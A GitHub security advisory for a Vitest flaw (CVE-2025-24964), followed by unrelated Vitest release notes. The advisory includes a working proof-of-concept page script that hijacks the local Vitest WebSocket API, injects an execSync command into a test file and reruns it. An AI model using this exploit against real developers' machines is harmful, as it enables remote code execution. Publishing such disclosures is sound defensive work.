GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts', async () => {
  const screen = page.render(<Blog />)

  await expect.element(screen.getByRole('heading', { name: 'Blog' })).toBeInTheDocument()

  const [firstPost] = screen.getByRole('listitem').all()

  await firstPost.getByRole('button', { name: 'Delete' }).click()

  expect(screen.getByRole('listitem').all()).toHaveLength(3)
})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change
  • workspace:
    • Correctly resolve workspace globs and file paths  -  by @​sheremet-va in #​6316 (afdcb)
    • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
    • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
    • This change doesn't affect non-glob usage.
